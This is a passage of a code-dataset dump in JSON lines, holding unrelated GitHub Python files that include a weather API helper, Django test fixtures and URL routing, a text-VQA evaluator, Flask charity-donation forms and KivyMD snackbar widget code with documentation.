city.title()\r\n url = f\"https://api.openweathermap.org/data/2.5/weather?q={city}&appid={key}\"\r\n response = requests.get(url) # gets data from openweather api\r\n\r\n try:\r\n # get the data from the response\r\n data = response.json()['main']\r\n\r\n temp = data['temp_max'] # gets temperature from data\r\n temp_farenheight = con(temp) # convert temp from kelvin to fahrenheit\r\n temp_celcuis = con_celcius(temp)\r\n humidity = data['humidity'] # gets humidity from data\r\n ret = (temp_farenheight,temp_celcuis, humidity) # packs temp and humidity into a tuple\r\n \r\n return ret\r\n\r\n except Exception as exp:\r\n return exp\r\n","repo_name":"sidsurakanti/weather","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"74975164187","text":"# Colors\ncolors = {\n 'red': '\\033[1;31m',\n 'green': '\\033[1;32m',\n 'white': '\\033[1;37m',\n}\n\nprint('{}-{}='.format(colors['red'], colors['white']) * 20)\nprint('{:^40}'.format('GUN STORE'))\nprint('{}-{}='.format(colors['red'], colors['white']) * 20)\n\ntotSpend = totTh = 0.0\nsmallest = 0.0\ncheap = answer = ' '\n\nwhile True:\n productName = str(input('What is the product name: '))\n productPrice = float(input('What is the product price: '))\n if totSpend == 0.0 or productPrice < smallest:\n smallest = productPrice\n cheap = productName\n\n totSpend += productPrice\n\n if productPrice > 1000:\n totTh += 1\n print('{}-{}='.format(colors['red'], colors['white']) * 20)\n while answer not in 'YN':\n answer = str(input('Do you want to continue?[Y/N]')).strip().upper()[0]\n print('{}-{}='.format(colors['red'], colors['white']) * 20)\n if answer in 'Nn':\n break\n else:\n answer = ' '\nprint('{}-{}-'.format(colors['red'], colors['white']) * 20)\nprint(f'- Total of spend: {totSpend:.2f}$')\nprint(f'- Total of products over 1000$: {totTh:.0f}')\nprint('- The cheapest product: ', cheap)\n","repo_name":"LuannMateus/python-exercises","sub_path":"python-files/second_world-exercises/7-loop_and_break/exer70-products_and_prices.py","file_name":"exer70-products_and_prices.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23822311868","text":"import requests\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import User \nfrom django.utils.crypto import get_random_string\n\nfrom git_version.models import * \nfrom api_key.models import *\nfrom sensor.models import *\n\nclass TestContext(object):\n def __init__(self):\n self.git_version = GitVersion.objects.create( ref = \"master\" , repo = \"uri://git.no\" , description = \"description\")\n self.key = ApiKey.objects.create( description = \"Newkey\")\n self.external_key = str(self.key.external_key)\n self.loc = Location.objects.create( name = \"Ulriken\" , latitude = 200 , longitude = 120 , altitude = 600)\n self.dev_type = DeviceType.objects.create( name = \"HP-X123\" )\n self.dev = Device.objects.create( id = \"DevXYZ\" , \n location = self.loc , \n device_type = self.dev_type , \n description = \"Besrkivels\",\n post_key = self.key)\n\n self.dev_loc0 = Device.objects.create( id = \"DevNoLoc\" , device_type = self.dev_type , description = \"Besrkivels\",\n post_key = self.key )\n\n self.mtype = MeasurementType.objects.create( name = \"Temperature\" )\n self.raw_data = DataType.objects.get( pk = \"RAWDATA\" )\n self.test_data = DataType.objects.get( pk = \"TEST\" )\n\n self.sensor_type_temp = SensorType.objects.create( product_name = \"XX12762 Turbo\",\n measurement_type = self.mtype,\n short_description = \"Temp\",\n description = \"Measurement of temperature\",\n unit = \"Degree celcius\",\n min_value = 0,\n max_value = 100)\n \n self.temp_sensor = Sensor.objects.create( id = \"TEMP:XX\",\n parent_device = self.dev,\n description = \"tempm\",\n sensor_type = self.sensor_type_temp)\n \n self.hum_sensor = Sensor.objects.create( id = \"HUM:XX\",\n description = \"Measurement humidity\",\n data_type = self.raw_data ,\n parent_device = self.dev,\n sensor_type = self.sensor_type_temp)\n\n self.loc0_sensor = Sensor.objects.create( id = \"NO_LOC:XX\",\n description = \"Measurement humidity\",\n data_type = self.raw_data ,\n parent_device = self.dev_loc0,\n sensor_type = self.sensor_type_temp)\n\n\n self.ts = TimeStamp.objects.create( timestamp = TimeStamp.parse_datetime(\"2015-10-10T10:10:00+01\") )\n self.test_user_passwd = get_random_string( length = 10 ),\n self.test_user = User.objects.create_user( get_random_string( length = 10 ),\n password = self.test_user_passwd , \n email = \"joe@invalid.email.com\" )\n\n try:\n response = requests.get(\"https://github.com/\")\n self.network = True\n except Exception:\n self.network = False\n settings.RESTDB_IO_URL = None\n sys.stderr.write(\"** WARNING: No network connection - skipping post to restdb.io\\n\")\n \n","repo_name":"sHalnes/friskby","sub_path":"sensor/tests/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":3902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"32615214399","text":"import torch\r\nimport editdistance # install with `pip install editdistance`\r\n\r\nclass ANLSEvaluator:\r\n def __init__(self, fixed_ans_path, theta=0):\r\n self.get_edit_distance = editdistance.eval\r\n self.theta = theta\r\n with open(fixed_ans_path) as f:\r\n fixed_ans = f.readlines()\r\n self.fixed_ans = [i.replace('\\n', '') for i in fixed_ans]\r\n self.fixed_ans_size = len(self.fixed_ans)\r\n\r\n def idx2word(self, idx, ocr_tokens):\r\n if idx >= self.fixed_ans_size:\r\n return ocr_tokens[idx-self.fixed_ans_size]\r\n else:\r\n return self.fixed_ans[idx] \r\n\r\n def get_anls(self, s1, s2):\r\n s1 = s1.lower().strip()\r\n s2 = s2.lower().strip()\r\n iou = 1 - self.get_edit_distance(s1, s2) / max(len(s1), len(s2))\r\n anls = iou if iou >= self.theta else 0.\r\n return anls\r\n\r\n def compute_anls(self, predicted_scores, gt_answers, ocr_tokens):\r\n batch, T = predicted_scores.size()\r\n batch_anls = []\r\n for i in range(batch):\r\n i_ans = []\r\n for j in range(T):\r\n pred_idx = predicted_scores[i, j]\r\n if pred_idx>2:\r\n i_ans.append(self.idx2word(pred_idx, ocr_tokens[i]))\r\n i_ans = ' '.join(i_ans)\r\n anls = max(self.get_anls(i_ans, gt) for gt in set(gt_answers[i]))\r\n batch_anls.append(anls)\r\n return batch_anls\r\n\r\nif __name__ == '__main__':\r\n model = STVQAANLSEvaluator()\r\n a = 'sdfs sdf' \r\n b = 'sdfs sd1f' \r\n print(model.get_anls(a,b))\r\n","repo_name":"guanghuixu/CRN_tvqa","sub_path":"pythia/utils/compute_anls.py","file_name":"compute_anls.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"11"} +{"seq_id":"7326416979","text":"\"\"\"\nURL configuration for promptalk project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom interview_tool import views\n\napp_name = 'interview'\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('login/', views.login_view, name='login'),\n path('logout/', views.logout_view, name='logout'),\n path('prompt_list/', views.prompt_list_view, name='prompt_list'),\n path('home/', views.home_view, name='home'),\n path('start/', views.start_interview, name='start'),\n path('search_prompt/', views.searchPrompt, name='searchPrompt'),\n]\n\nfrom django.urls import include\n\nurlpatterns += [\n path('interview_tool/', include('interview_tool.urls')),\n path('wordbank_manager/', include('wordbank_manager.urls')),\n]\n\n#Add URL maps to redirect the base URL to our application\nfrom django.views.generic import RedirectView\nurlpatterns += [\n path('', RedirectView.as_view(url='interview_tool/', permanent=True)),\n]\n\n# Use static() to add URL mapping to serve static files during development (only)\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n","repo_name":"actionclick/promptalk","sub_path":"promptalk/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31459566373","text":"import sys\r\nsys.setrecursionlimit(10**5)\r\ninput=sys.stdin.readline\r\nfrom itertools import combinations\r\nfrom collections import deque\r\nimport heapq\r\nimport copy\r\nINF=1e9\r\n\r\n#30\r\n\r\nn=int(input())\r\n\r\nnum_list=list(map(int,str(n)))\r\nnum_list.sort(reverse=True)\r\nsum_num=sum(num_list)\r\n\r\nif sum_num%3!=0 or 0 not in num_list:\r\n print(-1)\r\nelse:\r\n for i in num_list:\r\n print(i,end='')\r\n print()\r\n","repo_name":"ej906/algorithm_study","sub_path":"백준/Silver/10610. 30/30.py","file_name":"30.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73736987547","text":"myList = [120, 100, 84, 85, 86, 87, 85, 90, 85, 83, 23, 122, 45, 84, 1, 2, 0, 130]\n\n\ndef first_second(arr): # My fix\n first_score = arr[0]\n second_score = arr[-1]\n\n for number in arr[1:]:\n if number >= first_score:\n second_score = first_score\n first_score = number\n\n elif number > second_score:\n second_score = number\n\n return first_score, second_score\n\n\nprint(first_second(myList))\n\n\ndef first_second_course(given_list): # course fix - using sort\n a = given_list # make a copy\n\n a.sort(reverse=True)\n\n first = a[0]\n\n second = None\n\n for element in given_list:\n\n if element != first:\n second = element\n\n return first, second\n","repo_name":"KsaweryKapela/Data_Structures_And_Algorithms","sub_path":"py_lists/challenging_array_list_exercises/best_score.py","file_name":"best_score.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12589724695","text":"import uninet as ssb\r\nimport neuralnetwork_tensorflow as nntf\r\nimport cPickle\r\n\r\n\r\ntrainigSet = cPickle.load(open(\"/media/tassadar/Work/Google Drive/My/NeuralNet/data/mnist/MNISTTrainingSet\", 'rb'))\r\ncvSet = cPickle.load(open(\"/media/tassadar/Work/Google Drive/My/NeuralNet/data/mnist/MNISTTestSet\", 'rb'))\r\n\r\nl1 = ssb.input(neurons=784)\r\nl2 = ssb.elu(neurons=1000)\r\nl3 = ssb.elu(neurons=500)\r\nl4 = ssb.softmax(neurons=10)\r\n\r\nnet = nntf.neuralnetwork(layers=[l1,l2,l3,l4], errorFunction=ssb.logLoss)\r\n\r\nnet.train(trainingSet=trainigSet, cvSet=cvSet, numEpochs=20000, minibatchSize=100, learningRate=0.1, rmsProp=0.9, cvCheckPeriod=100, cvAccuracyCheck=True, visualization=True)","repo_name":"shelpuk/UniNet","sub_path":"testMNISTrelu.py","file_name":"testMNISTrelu.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11955594858","text":"from flask_wtf import FlaskForm\nfrom wtforms import (SubmitField,\n SelectField,\n DateTimeLocalField,\n DecimalField,\n IntegerField,\n StringField)\nfrom wtforms.validators import DataRequired, ValidationError, NumberRange\nfrom flask_login import current_user\nfrom datetime import datetime\n\n\nclass ConfirmAmountForm(FlaskForm):\n submit = SubmitField('Confirm Donation')\n\nclass SingleDonationForm(FlaskForm):\n amount = DecimalField('Amount:', render_kw={'placeholder': 'Amount'})\n submit = SubmitField('Donate!')\n\n def validate_amount(form, field):\n if field.data < .01:\n raise ValidationError('Amount should be at least .01')\n if current_user.balance < field.data:\n raise ValidationError('You do not have enough funds to make this donation')\n\nclass UpdateCharityInfoForm(FlaskForm):\n id = IntegerField('Charity ID', validators=[DataRequired(), NumberRange(min=5000)])\n charity_name = StringField('Charity Name', validators=[DataRequired()])\n address = StringField('Address', validators=[DataRequired()])\n zip_code = StringField('Zipcode', validators=[DataRequired()])\n phone = StringField('Phone Number', validators=[DataRequired()])\n website = StringField('Website')\n email = StringField('Email', validators=[DataRequired()])\n contact_name = StringField('Contact Name')\n contact_cell = StringField('Contact Cell', validators=[DataRequired()])\n contact_position = StringField('Contact Position')\n bank = StringField('Bank', validators=[DataRequired()])\n account_number = StringField('Account Number', validators=[DataRequired()])\n submit = SubmitField('Update Account')\n\n\n\nclass RecurringDonationForm(FlaskForm):\n amount = DecimalField('Amount:', places=2 ,render_kw={'placeholder': 'Amount'})\n how_often = SelectField('Frequency:', choices=['Minute', 'Hour', 'Day', 'Week', 'Month'])\n start = DateTimeLocalField('Start:', format='%Y-%m-%dT%H:%M')\n end = DateTimeLocalField('End:', format='%Y-%m-%dT%H:%M')\n submit = SubmitField('Donate!')\n\n def validate_end(form, field):\n if form.start.data is None or form.end.data is None:\n raise ValidationError('Please enter a start and end time')\n start = int(form.start.data.timestamp())\n end = int(field.data.timestamp())\n if start > end:\n raise ValidationError('Your end date is earlier than the start. Please choose appropriate dates')\n if end < int(datetime.now().timestamp()):\n raise ValidationError('Your end date is in the past, please choose future dates')\n \n def validate_start(form, field):\n if form.start.data is None or form.end.data is None:\n raise ValidationError('Please enter a start and end time')\n start = int(form.start.data.timestamp())\n end = int(field.data.timestamp())\n if start > end:\n raise ValidationError('Your end date is earlier than the start. Please choose appropriate dates')\n if start <= int(datetime.now().timestamp()):\n raise ValidationError('Your start date is in the past, please choose future dates')\n \n def validate_how_often(form, field):\n if form.start.data is None or form.end.data is None:\n raise ValidationError('Please enter a start and end time')\n start_data = form.start.data\n end_data = form.end.data\n start = int(start_data.timestamp())\n end = int(end_data.timestamp())\n frequency = form.how_often.data\n total_time = end-start\n if start_data.year > end_data.year:\n raise ValidationError('Check your years')\n if frequency == 'Minute' or frequency == 'Second':\n if total_time < 60:\n raise ValidationError('You must choose start and end dates that are at least a minute apart')\n elif frequency == 'Hour':\n if total_time < 3600:\n raise ValidationError('You must choose start and end dates that are at least an hour apart')\n elif frequency == 'Day':\n if total_time < 86400:\n raise ValidationError('You must choose start and end dates that are at least a day apart')\n elif frequency == 'Week':\n if total_time < 604800:\n raise ValidationError('You must choose start and end dates that are at least a week apart')\n elif frequency == 'Month':\n years = (end_data.year-start_data.year)*12\n months = end_data.month-start_data.month\n if (end_data.day-start_data.day) < 0 or \\\n (end_data.day-start_data.day) == 0 and end_data.time() < start_data.time():\n months -= 1\n total_months = years + months\n if total_months <= 0 or\\\n total_months == 1 and start_data.day > end_data.day or\\\n total_months == 1 and start_data.day == end_data.day and start_data.time() > end_data.time():\n raise ValidationError('You must choose start and end dates that are at least a month apart')\n if total_months > 12:\n raise ValidationError('We do not accept recurring donations longer than 12 months.')\n else:\n raise ValidationError('Something went wrong with the selection, please try again or try choosing another frequency')\n\n \n\n \n def validate_amount(form, field):\n if form.start.data is None or form.end.data is None:\n raise ValidationError('Please enter a start and end time')\n start = int(form.start.data.timestamp())\n end = int(form.end.data.timestamp())\n total_time = end-start\n amount = float(field.data)\n frequency = form.how_often.data\n if amount <= .009:\n raise ValidationError('Amount must be at least .01')\n if frequency == 'Second':\n total = total_time*amount\n if current_user.balance < total:\n raise ValidationError('You do not have enough funds to make this pledge')\n elif frequency == 'Minute':\n total = (total_time/60)*amount\n if current_user.balance < total:\n raise ValidationError('You do not have enough funds to make this pledge')\n elif frequency == 'Hour':\n total = (total_time/3600)*amount\n if current_user.balance < total:\n raise ValidationError('You do not have enough funds to make this pledge')\n elif frequency == 'Day':\n total = (total_time/86400)*amount\n if current_user.balance < total:\n raise ValidationError('You do not have enough funds to make this pledge')\n elif frequency == 'Week':\n total = (total_time/604800)*amount\n if current_user.balance < total:\n raise ValidationError('You do not have enough funds to make this pledge')\n elif frequency == 'Month':\n years = (form.end.data.year-form.start.data.year)*12\n months = form.end.data.month-form.start.data.month\n if (form.end.data.day-form.start.data.day) < 0 or \\\n (form.end.data.day-form.start.data.day) == 0 and form.end.data.time() < form.start.data.time():\n months -= 1\n total_months = years + months\n if current_user.balance < total_months*amount:\n raise ValidationError('You do not have enough funds to make this pledge')\n else:\n raise ValidationError('Something went wrong with the selection, please try again or try choosing another frequency')\n \n","repo_name":"ydb5755/Charity_Web_App","sub_path":"app/organization/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":7787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14306668394","text":"\"\"\"\nComponents/Snackbar\n===================\n\n.. seealso::\n\n `Material Design spec, Snackbars `_\n\n.. rubric:: Snackbars provide brief messages about app processes at the bottom\n of the screen.\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/snackbar.png\n :align: center\n\nUsage\n-----\n\n.. code-block:: python\n\n MDSnackbar(\n MDLabel(\n text=\"First string\",\n theme_text_color=\"Custom\",\n text_color=\"#393231\",\n ),\n ).open()\n\nExample\n-------\n\n.. code-block:: python\n\n from kivy.lang import Builder\n\n from kivymd.app import MDApp\n from kivymd.uix.label import MDLabel\n from kivymd.uix.snackbar import MDSnackbar\n\n\n KV = '''\n MDScreen:\n\n MDRaisedButton:\n text: \"Create simple snackbar\"\n on_release: app.open_snackbar()\n pos_hint: {\"center_x\": .5, \"center_y\": .5}\n '''\n\n\n class Example(MDApp):\n def open_snackbar(self):\n MDSnackbar(\n MDLabel(\n text=\"First string\",\n ),\n ).open()\n\n def build(self):\n self.theme_cls.theme_style = \"Dark\"\n self.theme_cls.primary_palette = \"Orange\"\n return Builder.load_string(KV)\n\n\n Example().run()\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/snackbar-simple.gif\n :align: center\n\nControl width and pos\n---------------------\n\n.. code-block:: python\n\n MDSnackbar(\n MDLabel(\n text=\"First string\",\n ),\n pos=(dp(24), dp(56)),\n size_hint_x=0.5,\n ).open()\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/snackbar-widith-and-pos.gif\n :align: center\n\nOn mobile, use up to two lines of text to communicate the snackbar message:\n\n.. code-block:: python\n\n MDSnackbar(\n MDLabel(\n text=\"First string\",\n theme_text_color=\"Custom\",\n text_color=\"#393231\",\n ),\n MDLabel(\n text=\"Second string\",\n theme_text_color=\"Custom\",\n text_color=\"#393231\",\n ),\n y=dp(24),\n pos_hint={\"center_x\": 0.5},\n size_hint_x=0.5,\n md_bg_color=\"#E8D8D7\",\n ).open()\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/snackbar-two-line.gif\n :align: center\n\nUsage action button\n-------------------\n\nA snackbar can contain a single action. \"Dismiss\" or \"cancel\" actions are\noptional:\n\n.. code-block:: python\n\n MDSnackbar(\n MDLabel(\n text=\"First string\",\n theme_text_color=\"Custom\",\n text_color=\"#393231\",\n ),\n MDSnackbarActionButton(\n text=\"Done\",\n theme_text_color=\"Custom\",\n text_color=\"#8E353C\",\n ),\n y=dp(24),\n pos_hint={\"center_x\": 0.5},\n size_hint_x=0.5,\n md_bg_color=\"#E8D8D7\",\n ).open()\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/snackbar-action-button.gif\n :align: center\n\nCallback action button\n----------------------\n\n.. code-block:: python\n\n def snackbar_action_button_callback(self, *args):\n print(\"Snackbar callback action button\")\n\n def open_snackbar(self):\n self.snackbar = MDSnackbar(\n MDLabel(\n text=\"First string\",\n theme_text_color=\"Custom\",\n text_color=\"#393231\",\n ),\n MDSnackbarActionButton(\n text=\"Done\",\n theme_text_color=\"Custom\",\n text_color=\"#8E353C\",\n _no_ripple_effect=True,\n on_release=self.snackbar_action_button_callback,\n ),\n y=dp(24),\n pos_hint={\"center_x\": 0.5},\n size_hint_x=0.5,\n md_bg_color=\"#E8D8D7\",\n )\n self.snackbar.open()\n\nIf an action is long, it can be displayed on a third line:\n\n.. code-block:: python\n\n MDSnackbar(\n MDLabel(\n text=\"If an action is long, it can be displayed\",\n theme_text_color=\"Custom\",\n text_color=\"#393231\",\n ),\n MDLabel(\n text=\"on a third line.\",\n theme_text_color=\"Custom\",\n text_color=\"#393231\",\n ),\n MDLabel(\n text=\" \",\n ),\n MDSnackbarActionButton(\n text=\"Action button\",\n theme_text_color=\"Custom\",\n text_color=\"#8E353C\",\n y=dp(8),\n _no_ripple_effect=True,\n ),\n y=dp(24),\n pos_hint={\"center_x\": 0.5},\n size_hint_x=0.5,\n md_bg_color=\"#E8D8D7\",\n ).open()\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/snackbar-action-button-on-thrid-line.gif\n :align: center\n\nIcon (optional close affordance):\n\n.. code-block:: python\n\n def snackbar_close(self, *args):\n self.snackbar.dismiss()\n\n def open_snackbar(self):\n self.snackbar = MDSnackbar(\n MDLabel(\n text=\"Icon (optional close affordance)\",\n theme_text_color=\"Custom\",\n text_color=\"#393231\",\n ),\n MDSnackbarActionButton(\n text=\"Action button\",\n theme_text_color=\"Custom\",\n text_color=\"#8E353C\",\n _no_ripple_effect=True,\n ),\n MDSnackbarCloseButton(\n icon=\"close\",\n theme_text_color=\"Custom\",\n text_color=\"#8E353C\",\n _no_ripple_effect=True,\n on_release=self.snackbar_close,\n ),\n y=dp(24),\n pos_hint={\"center_x\": 0.5},\n size_hint_x=0.5,\n md_bg_color=\"#E8D8D7\",\n )\n self.snackbar.open()\n\n.. image:: https://github.com/HeaTTheatR/KivyMD-data/raw/master/gallery/kivymddoc/snackbar-optional-close-affordance.gif\n :align: center\n\nAPI break\n=========\n\n1.1.1 version\n-------------\n\n.. code-block:: python\n\n snackbar = Snackbar(\n text=\"First string\",\n snackbar_x=\"10dp\",\n snackbar_y=\"24dp\",\n )\n snackbar.size_hint_x = (\n Window.width - (snackbar.snackbar_x * 2)\n ) / Window.width\n snackbar.buttons = [\n MDFlatButton(\n text=\"Done\",\n theme_text_color=\"Custom\",\n text_color=\"#8E353C\",\n on_release=snackbar.dismiss,\n ),\n ]\n snackbar.open()\n\n1.2.0 version\n-------------\n\n.. code-block:: python\n\n MDSnackbar(\n MDLabel(\n text=\"First string\",\n ),\n MDSnackbarActionButton(\n text=\"Done\",\n theme_text_color=\"Custom\",\n text_color=\"#8E353C\",\n ),\n y=dp(24),\n pos_hint={\"center_x\": 0.5},\n size_hint_x=0.5,\n md_bg_color=\"#E8D8D7\",\n ).open()\n\"\"\"\n\n__all__ = (\n \"MDSnackbar\",\n \"MDSnackbarActionButton\",\n \"MDSnackbarCloseButton\",\n)\n\nimport os\n\nfrom kivy import Logger\nfrom kivy.animation import Animation\nfrom kivy.clock import Clock\nfrom kivy.core.window import Window\nfrom kivy.lang import Builder\nfrom kivy.properties import (\n BooleanProperty,\n ColorProperty,\n ListProperty,\n NumericProperty,\n OptionProperty,\n StringProperty,\n)\n\nfrom kivymd import uix_path\nfrom kivymd.uix.behaviors import MotionShackBehavior\nfrom kivymd.uix.boxlayout import MDBoxLayout\nfrom kivymd.uix.button import MDFlatButton, MDIconButton\nfrom kivymd.uix.card import MDCard\nfrom kivymd.uix.label import MDLabel\nfrom kivymd.uix.relativelayout import MDRelativeLayout\n\nwith open(\n os.path.join(uix_path, \"snackbar\", \"snackbar.kv\"), encoding=\"utf-8\"\n) as kv_file:\n Builder.load_string(kv_file.read())\n\n\nclass SnackbarLabelContainer(MDBoxLayout):\n \"\"\"Container for placing snackbar text.\"\"\"\n\n\nclass SnackbarActionButtonContainer(MDRelativeLayout):\n \"\"\"Container for placing snackbar action button.\"\"\"\n\n\nclass SnackbarCloseButtonContainer(MDRelativeLayout):\n \"\"\"Container for placing snackbar close button.\"\"\"\n\n\nclass MDSnackbarCloseButton(MDIconButton):\n \"\"\"\n Snackbar closed button class.\n\n For more information, see in the\n :class:`~kivymd.uix.button.MDIconButton` class documentation.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n if not self.y and not self.pos_hint:\n self.pos_hint = {\"center_y\": 0.5}\n\n\nclass MDSnackbarActionButton(MDFlatButton):\n \"\"\"\n Snackbar action button class.\n\n For more information, see in the\n :class:`~kivymd.uix.button.MDFlatButton` class documentation.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n if not self.y and not self.pos_hint:\n self.pos_hint = {\"center_y\": 0.5}\n\n\nclass MDSnackbar(MotionShackBehavior, MDCard):\n \"\"\"\n Snackbar class.\n\n .. versionchanged:: 1.2.0\n Rename `BaseSnackbar` to `MDSnackbar` class.\n\n For more information, see in the\n :class:`~kivymd.uix.card.MDCard` and\n :class:`~kivymd.uix.behaviors.StencilBehavior`\n class documentation.\n\n :Events:\n :attr:`on_open`\n Called when a snackbar opened.\n :attr:`on_dismiss`\n Called when a snackbar closes.\n \"\"\"\n\n duration = NumericProperty(3)\n \"\"\"\n The amount of time that the snackbar will stay on screen for.\n\n :attr:`duration` is a :class:`~kivy.properties.NumericProperty`\n and defaults to `3`.\n \"\"\"\n\n auto_dismiss = BooleanProperty(True)\n \"\"\"\n Whether to use automatic closing of the snackbar or not.\n\n :attr:`auto_dismiss` is a :class:`~kivy.properties.BooleanProperty`\n and defaults to `True`.\n \"\"\"\n\n radius = ListProperty([5, 5, 5, 5])\n \"\"\"\n Snackbar radius.\n\n :attr:`radius` is a :class:`~kivy.properties.ListProperty`\n and defaults to `[5, 5, 5, 5]`\n \"\"\"\n\n bg_color = ColorProperty(None, deprecated=True)\n \"\"\"\n Snackbar background color in (r, g, b, a) or string format.\n\n .. deprecated:: 1.2.0\n Use 'md_bg_color` instead.\n\n :attr:`bg_color` is a :class:`~kivy.properties.ColorProperty`\n and defaults to `None`.\n \"\"\"\n\n buttons = ListProperty(deprecated=True)\n \"\"\"\n Snackbar buttons.\n\n .. deprecated:: 1.2.0\n\n :attr:`buttons` is a :class:`~kivy.properties.ListProperty`\n and defaults to `[]`\n \"\"\"\n\n snackbar_animation_dir = OptionProperty(\n \"Bottom\",\n options=[\"Top\", \"Bottom\", \"Left\", \"Right\"],\n deprecated=True,\n )\n \"\"\"\n Snackbar animation direction.\n Available options are: `'Top'`, `'Bottom'`, `'Left'`, `'Right'`.\n\n .. deprecated:: 1.2.0\n\n :attr:`snackbar_animation_dir` is an :class:`~kivy.properties.OptionProperty`\n and defaults to `'Bottom'`.\n \"\"\"\n\n snackbar_x = NumericProperty(0, deprecated=True)\n \"\"\"\n The snackbar x position in the screen\n\n .. deprecated:: 1.2.0\n\n :attr:`snackbar_x` is a :class:`~kivy.properties.NumericProperty`\n and defaults to `0`.\n \"\"\"\n\n snackbar_y = NumericProperty(0, deprecated=True)\n \"\"\"\n The snackbar x position in the screen\n\n .. deprecated:: 1.2.0\n\n :attr:`snackbar_y` is a :class:`~kivy.properties.NumericProperty`\n and defaults to `0`.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.register_event_type(\"on_open\")\n self.register_event_type(\"on_dismiss\")\n self.opacity = 0\n\n def dismiss(self, *args) -> None:\n \"\"\"Dismiss the snackbar.\"\"\"\n\n super().on_dismiss()\n\n def open(self) -> None:\n \"\"\"Show the snackbar.\"\"\"\n\n for widget in Window.parent.children:\n if widget.__class__ is MDSnackbar:\n return\n\n Window.parent.add_widget(self)\n super().on_open()\n\n def add_widget(self, widget, *args, **kwargs):\n def check_color(color):\n if not widget.text_color:\n widget.theme_text_color = \"Custom\"\n widget.text_color = color\n\n if isinstance(widget, MDSnackbarCloseButton):\n widget.icon_size = \"20sp\"\n check_color(\"white\")\n self.ids.close_container.add_widget(widget)\n if len(self.ids.close_container.children) >= 2:\n Logger.warning(\n \"KivyMD: \"\n \"Do not use more than one button to close the snackbar. \"\n \"This is contrary to the material design rules \"\n \"of version 3\"\n )\n if isinstance(widget, MDSnackbarActionButton):\n self.ids.action_container.add_widget(widget)\n check_color(self.theme_cls.primary_color)\n if len(self.ids.action_container.children) >= 2:\n Logger.warning(\n \"KivyMD: \"\n \"Do not use more than one action button. \"\n \"This is contrary to the material design rules \"\n \"of version 3\"\n )\n if isinstance(widget, MDLabel):\n widget.adaptive_height = True\n widget.pos_hint = {\"center_y\": 0.5}\n check_color(\"white\")\n self.ids.label_container.add_widget(widget)\n if len(self.ids.label_container.children) >= 4:\n Logger.warning(\n \"KivyMD: \"\n \"Do not use more than three lines in the snackbar. \"\n \"This is contrary to the material design rules \"\n \"of version 3\"\n )\n elif isinstance(\n widget,\n (\n SnackbarLabelContainer,\n SnackbarActionButtonContainer,\n SnackbarCloseButtonContainer,\n ),\n ):\n return super().add_widget(widget)\n\n def on_open(self, *args) -> None:\n \"\"\"Called when a snackbar opened.\"\"\"\n\n def on_dismiss(self, *args) -> None:\n \"\"\"Called when a snackbar closed.\"\"\"\n\n\nclass Snackbar(MDSnackbar):\n \"\"\"\n .. deprecated:: 1.2.0\n Use :class:`~kivymd.uix.snackbar.MDSnackbar`\n class instead.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n Logger.warning(\n \"KivyMD: \"\n \"The `Snackbar` class has been deprecated. \"\n \"Use the `MDSnackbar` class instead.\"\n )\n","repo_name":"kivymd/KivyMD","sub_path":"kivymd/uix/snackbar/snackbar.py","file_name":"snackbar.py","file_ext":"py","file_size_in_byte":14432,"program_lang":"python","lang":"en","doc_type":"code","stars":1969,"dataset":"github-code","pt":"11"} +{"seq_id":"42667190442","text":"input = open('input.txt', 'r').read().strip()\n\ncrabs = [int(c) for c in input.split(',')]\n\ncosts = []\nfor p in range(max(crabs)):\n costs.append(sum(abs(p - c) for c in crabs))\n\nresult = min(costs)\nprint(\"Result: 